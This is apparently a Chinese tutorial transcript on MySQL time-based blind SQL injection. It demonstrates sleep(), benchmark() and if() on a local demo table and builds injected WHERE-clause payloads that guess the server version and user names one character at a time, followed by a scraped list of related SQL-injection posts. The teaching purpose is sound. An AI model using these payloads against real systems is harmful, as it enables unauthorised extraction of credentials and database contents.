2-8时间窃取函数以及SQL注入应用
1.时间窃取相关函数基本使用
我们通过实际的操作,给大家演示一下,use hxf
我们先看一下当前数据库下,有那些表,show tables;
其中,我们看下,select * from user;
有5条记录,并且它返回来的速度很快,0.0秒
我们有个函数叫休眠函数,sleep,休眠后面加个数字,1代表休眠1秒,我们回车看一下,select sleep(1);
我们看到它休眠了1秒钟,也就是执行了1秒
当我们输入两秒的时候,我们看下结果,select sleep(2);
自然就是两秒,所以,我们在查询的时候,如果select * from user
,我们同时让它睡眠1秒钟,select *,sleep(1) from user;
我们看到这次结果,不一样,虽然它睡眠是1秒,但是我们有5条记录,所以它睡眠了5秒
这就是睡眠的一个特性,多少条记录,它就睡眠多少秒
压力测试函数,压力测试叫benchmark(),它是对计算测试多少次,所花费的时间,比如10万次,对huangxifengmd5加密进行计算,计算10万次所花费的时间,回车看下,select benchmark(100000,md5(‘huangxifeng’));
我们看到计算10万次,也只是花费0.03秒,这个函数是衡量mysql在不同的平台,性能是怎么样的
但是在注入中,往往也有它的应用,10万,显然是太快了,100万,可能也是0.04秒,那500万呢,select benchmark(5000000,md5(‘huangxifeng’));
我们看到是接近1.5秒的,这也是压力测试的一个特点
我们看一下if()函数,如果5大于2,那么就是a,如果不是的话,就是b,我们回车先看一下,select if(5>2,‘a’,‘b’);
if有3个表达式,第一个表达式是计算,如果为真就用第二个参数,如果为假,就用第三个参数
我们还可以把它变为假,2大于5,这显然是假,select if(2>5,‘a’,‘b’);
返回的就是b,这就是if的用法
我们概括一下
相关函数:
睡眠函数:Sleep()
取左边多少字符:left
取字符串中任意个字符:substring()
benchmark()
if()
Select sleep(1):睡眠1秒
Select left(user(),1):获得user()最左边的1位
Substring():获得字符串任意位置的任意个字符
Benchmark():对运算执行压力测试,以便测试这个计算花费多长时间
If()表达式,第一个表达式为真,则执行第二个表达式,否则执行第三个表达式
2.时间窃取盲注应用
我们通过实际的操作,给大家演示一下
我们查询整张表,select * from user;
就5条记录,返回实际上是0秒,速度相当快
假如,我们注入者输入if and逻辑关系,我们取版本号最左边一个字符,如果大于4,我们就睡眠5秒,否则的话,就取1,select * from user where uname=‘admin’ and if(left(version(),1)>4,sleep(5),1);
显然版本号左边大于4,因为我们的查询结构出来只有1条记录的,所以要睡眠5秒,那我们得出的结果就很慢,所以,我们网页查询出来,它的结构会延迟一些,甚至,我们会感觉到很慢,那么,这就对了,这就是盲注本身的意义
and后面才是我们攻击者注入的时候,要输入的内容,select * from user where uname=‘admin’ and if (left(version(),1)=1,sleep(5),1);
这个是假,执行表达式是1,只要是大于0的数字,实际上返回的都是真,因此,结果是不变的逻辑,所以返回的就是0毫秒
那我们看一下等于2,我们一直输下去,select * from user where uname=‘admin’ and if (left(version(),1)=2,sleep(5),1);
select * from user where uname=‘admin’ and if (left(version(),1)=3,sleep(5),1);
select * from user where uname=‘admin’ and if (left(version(),1)=4,sleep(5),1);
当我们输到5的时候,select * from user where uname=‘admin’ and if (left(version(),1)=5,sleep(5),1);
我们执行了5秒钟,原因是,我们返回了1条记录,所以它睡眠了5秒
而在实际的网页商品中,我们返回的商品可能有10种,甚至100种,那我们执行的100秒是相当久的,所以where条件中,我们就把uname去掉,这时候执行的就是25秒,我们感受一下,select * from user where if(left(version(),1)=5,sleep(5),1);
25秒过去了,5秒钟和0秒钟的差别,主要用于盲注的判断
5秒钟,要返回很长的时间,如果不是,就很快,这是sleep的一个应用
接下来,我们讲一下benchmark的应用
我们把它替换成benchmark,我们使用substring对当前用户名进行判断,从第一个字符开始取,取1个,判断它是否等于a,如果是真的,我们就benchmark,执行500万次,我们用md5对字符串进行加密,这个字符串大家可以自己定义,加个1,我们回车,select * from user where uname=‘admin’ and if(substring(user(),1,1)=‘a’,benchmark(5000000,md5(‘huangxifeng’)),1);
我们发现速度很快,因为当前的用户是root,select user();
第一个字母应该是r,所以a是假,就不会执行benchmark(),而是执行1,1是真,所以它速度相当之快
那我们就会进行猜测,我们会a、b、c一直猜测下去,如果我们知道是root,那我们就直接输r,我们回车,select * from user where uname=‘admin’ and if(substring(user(),1,1)=‘r’,benchmark(5000000,md5(‘huangxifeng’)),1);
我们看到查询结果相当慢,它花费了1.25秒,这种时间的差别,就在我们盲注中,对数据的猜测和利用
我们概括一下,时间窃取函数的原理
1.猜测版本号,穷举法猜测用户名、密码等
Select * from users where uname=‘$uname’ and if(left(version(),1)=5,sleep(1),2);
使用sleep(),睡眠多少秒,如果它的时间返回的更慢一些,那我们的猜测就是正确的
2.Benchmark穷举法猜测用户名和密码等
select * from users where uname=‘admin’ and if(substring(uname,1,1)=‘b’,benchmark(10000000,md5(‘b’)),1);
我们输入计算的次数多,返回的时间就越慢,我们所感觉的判断就越准确,包括sleep也是,我们输入的秒数高,对猜测的判断就越有帮助
时间窃取函数,主要跟穷举法结合使用
3.小结
常用函数有哪些?
Sleep(),left,substring(),benchmark(),if()
常用的时间窃取函数:Sleep()、benchmark()、,if()
配合的函数:left,substring()
我们实现了时间窃取的办法,能够从时间当中窃取一些信息出来,实际上,这些窃取也得到了,相当多的信息,这些都是让它直接爆出来的
如果以上的办法无效的情况下,我们可以让它自己爆出来,自己爆出来,我们叫自爆家底
2-8时间窃取函数以及SQL注入应用相关推荐
- concat mysql sql注入_Mysql中用concat函数执行SQL注入查询的方法
Mysql数据库使用concat函数执行SQL注入查询 SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示 ...
- mysql 时间盲注语句,sql注入学习记录(5)-基于时间延迟的SQL盲注
上次说到了sql注入中的基于报错盲注的基本的方法. 今天说一说报错盲注 基于时间延时的SQL盲注 使用时间延时注入的场景: 1.不能使用union select 联合查询方式注入 2.有些网站没有回显 ...
- 日期和时间规范函数 (Entity SQL)
下表显示 Entity SQL 日期和时间规范函数.datetime 为 DateTime 值. 功能 说明 AddNanoseconds( expression,number) 将指定的毫微秒 nu ...
- c mysql数据库函数库查询_Mysql数据库使用concat函数执行SQL注入查询
SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示出来. 例如:原本查询语句是 select userna ...
- Oracle时间日期函数及sql语句
一.时间日期函数 1.to_date函数 to_date的格式:to_date('要转换的时间','转换成的时间格式'), 两个参数的格式必须匹配,否则会报错. 需要注意的是,在Java中的时间格式是 ...
- iCMS后台do_query函数存在SQL注入漏洞
目录 该漏洞CNVD-ID: CNVD-2019-08479 漏洞提交CNVD后,待CNVD公示才发出本文. 测试环境: 程序版本:v7.0.14 Windows + firefox + burpsu ...
- php 防止注入函数,php 防止SQL注入函数
function inject_check($sql_str) { return eregi('select|insert|and|or|update|delete|\'|\/\*|\*|\.\.\/ ...
- 通过sql注入窃取用户数据库信息
一.SQL注入的定义 SQL Injection ,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常会导 ...
- Sql注入和Html注入
举例说,有一间公司的网页服务器上有一个留言板的代码,用来让用户发表简短的口信,例如: hello word!!!! 不过,这个代码原来有漏洞.一个意图入侵者得悉这间公司采用了有问题的代码,于是试图通过 ...
最新文章
- leetcode算法题--预测赢家★
- makefile编译_C++ Lesson 5:编译Makefile
- BTrace使用小结
- 以深圳.NET俱乐部名义 的技术交流会圆满成功
- Ant 简单示例+环境变量配置说明
- linux下sqlite3的使用
- win10 java8安装包双击之后完全没反应
- 大数据的十大应用领域
- wincc提示项目管理器服务器不可用,Wincc新建文件时提示项目管理器 服务器不可用...
- linux设置usb选择性暂停,usb大容量存储设备是什么?USB大容量存储设备无法启动怎么办?...
- 论文阅读:Axiomatic Characterization of Data-Driven Influence Measures for Classification
- linux 3.0实时性,如何1分钟内对 Linux 性能快速分析(113资讯网)
- 计算机是如何存储矩阵,如何存储稀疏邻接矩阵(How to store sparse adjacency matrix)
- Win10 用户管理中无法删除唯一的administrators组用户
- 护卫神备份mysql_护卫神好备份系统数据库怎么备份?
- 周日下雨,寂寥中读核
- java jdom 更新xml_用JDOM完成Java更新XML文件
- linux离线下载并安装amd64包
- 赞csdn工作人员的响应速度
- python好学么数学_python难学吗
热门文章
- 被“文化殖民”的农村
- 笔记本连上无线网但是无法上网络连接服务器,笔记本电脑连上无线网却不能上网怎么处理...
- [从头学绘画] 第19节 六十四式八卦掌 (57-64)
- 主成分分析matlab实例及测试,[学习笔记]主成分分析说明以及matlab实现
- js 实现 input 框 是否只读属性
- [转载]Linux内核大讲堂 (一) 设备驱动的基石驱动模型(1)
- webpack优化之HappyPack实战
- Java的Map中的map.keySet()方法
- matlab仿真的优势,新手必看 saber和simulink的区别与优势
- HAUTOJ 1070: 小汽车的位置